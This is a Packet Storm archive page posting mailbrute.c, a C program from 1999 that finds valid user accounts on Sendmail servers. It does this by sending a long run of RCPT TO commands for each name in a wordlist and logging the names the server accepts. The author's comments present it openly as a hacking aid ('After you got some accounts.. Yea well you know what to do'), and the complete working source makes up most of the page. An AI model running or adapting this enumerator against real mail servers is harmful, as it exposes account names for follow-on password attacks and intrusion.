exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

mailbrute.c

mailbrute.c
Posted Feb 11, 2000
Authored by Axess

Sendmail bruteforcer to look for valid accounts. Uses the RCPT command.

tags | tool, scanner
systems | unix
SHA-256 | 15f70acbf9f93a3e8b2d5dd1526e48ec7ac1f5f62831204e0b5400972bc42b46

mailbrute.c

Change Mirror Download
/*
* mailbrute
* By axess ( axess@mail.com ) in Nov-1999
*
* Damn ugly sendmail bruteforcer for valid accounts.
* But it werks and just proves this and i will not make this better.
*
* The story about it is that sendmail take how many rcpt to:
* as we want to send and never disconnect the user, that tries more.
* Well, why it is like this can any one with any brain figure out =)
* But this is also a real good way to bruteforce for valid accounts. heh
*
* Say helo to it.
* Just pick an mail from: and then we are ready to brute it.
* We wont get disconnected when we just fast send
* rcpt to: username from an userlist of lets say 1000
* of the most used usernames you can think of.
* Like this..
*
* 550 test... User unknown
* rcpt to:test2
* 550 test2... User unknown
* rcpt to:test3
* 550 test3... User unknown
* rcpt to:axess
* 250 axess... Recipient ok
*
* Ohh, then we know that axess is an user on the remote computer.
*
* Usage : ./mailbrute <host> <userlist> <outfile>
*
* Look in the outfile for valid ones.
*
* After you got some accounts..
* Yea well you know what to do.
*
* Solution:
* Well , i cant figure out a real good way but this is not easy
* and make a maillog that is not of this world so if anyone think
* this is a good way to hack . feel free to do it.
*
*/

#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netdb.h>
#include <netinet/in.h>
#include <string.h>
#include <unistd.h>

int main (int argc, char **argv)
{
struct sockaddr_in server;
struct hostent *hp;
int s;
char helo[100];
char mail[100];
char rcpt[100];
char gibme[500];
char name[1024];

FILE *ip;
FILE *of;

if(argc < 4)
{
printf("\n\n mailbrute ( sendmail account bruteforcer ) \n");
printf(" By axess ( axess@mail.com ) in Dec-1999 \n");
printf(" \n");
printf(" Usage: %s <host> <userlist> <outfile>\n", argv[0]);
printf(" \n\n");
exit(0);
}

if((hp = gethostbyname (argv[1])) == NULL) {
printf ("Could not resolve %s.\n", argv[1]);
exit(1); }

if((ip = fopen(argv[2], "r")) == NULL) {
printf("Error: input file does not exist\n");
exit(1); }

if((of = fopen(argv[3], "w")) == NULL) {
printf("Error: Cant write to file?\n");
exit(1); }

if((s = socket (AF_INET, SOCK_STREAM, 0)) == -1) {
printf("Error");
exit(1); }

server.sin_family = AF_INET;
server.sin_port = htons (25);
server.sin_addr.s_addr = *(u_long *) hp->h_addr;
bzero (&(server.sin_zero), 8);

if(connect(s, (struct sockaddr *) &server, sizeof (struct sockaddr)) == -1) {
printf ("Connection refused\n");
exit(1); }

sprintf (helo, "helo mail\r\n");
sprintf (mail, "mail from:mailme@hotmail.com\r\n");
send (s, helo, strlen (helo), 0);
send (s, mail, strlen (mail), 0);

while(fscanf(ip, "%s", name) != EOF) {
fprintf(of,"Username %s \n",name);

sprintf (rcpt, "rcpt to:%s\r\n",name);
send (s, rcpt, strlen (rcpt), 0);
recv(s,gibme, sizeof(gibme),0);

if((strstr(gibme, "Recipient") != NULL)) {
fprintf(of,"%s",gibme);
} }
close (s);
exit(0);
}
Login or Register to add favorites

File Archive:

November 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Nov 1st
    30 Files
  • 2
    Nov 2nd
    0 Files
  • 3
    Nov 3rd
    0 Files
  • 4
    Nov 4th
    12 Files
  • 5
    Nov 5th
    44 Files
  • 6
    Nov 6th
    18 Files
  • 7
    Nov 7th
    9 Files
  • 8
    Nov 8th
    8 Files
  • 9
    Nov 9th
    3 Files
  • 10
    Nov 10th
    0 Files
  • 11
    Nov 11th
    14 Files
  • 12
    Nov 12th
    20 Files
  • 13
    Nov 13th
    63 Files
  • 14
    Nov 14th
    18 Files
  • 15
    Nov 15th
    8 Files
  • 16
    Nov 16th
    0 Files
  • 17
    Nov 17th
    0 Files
  • 18
    Nov 18th
    0 Files
  • 19
    Nov 19th
    0 Files
  • 20
    Nov 20th
    0 Files
  • 21
    Nov 21st
    0 Files
  • 22
    Nov 22nd
    0 Files
  • 23
    Nov 23rd
    0 Files
  • 24
    Nov 24th
    0 Files
  • 25
    Nov 25th
    0 Files
  • 26
    Nov 26th
    0 Files
  • 27
    Nov 27th
    0 Files
  • 28
    Nov 28th
    0 Files
  • 29
    Nov 29th
    0 Files
  • 30
    Nov 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close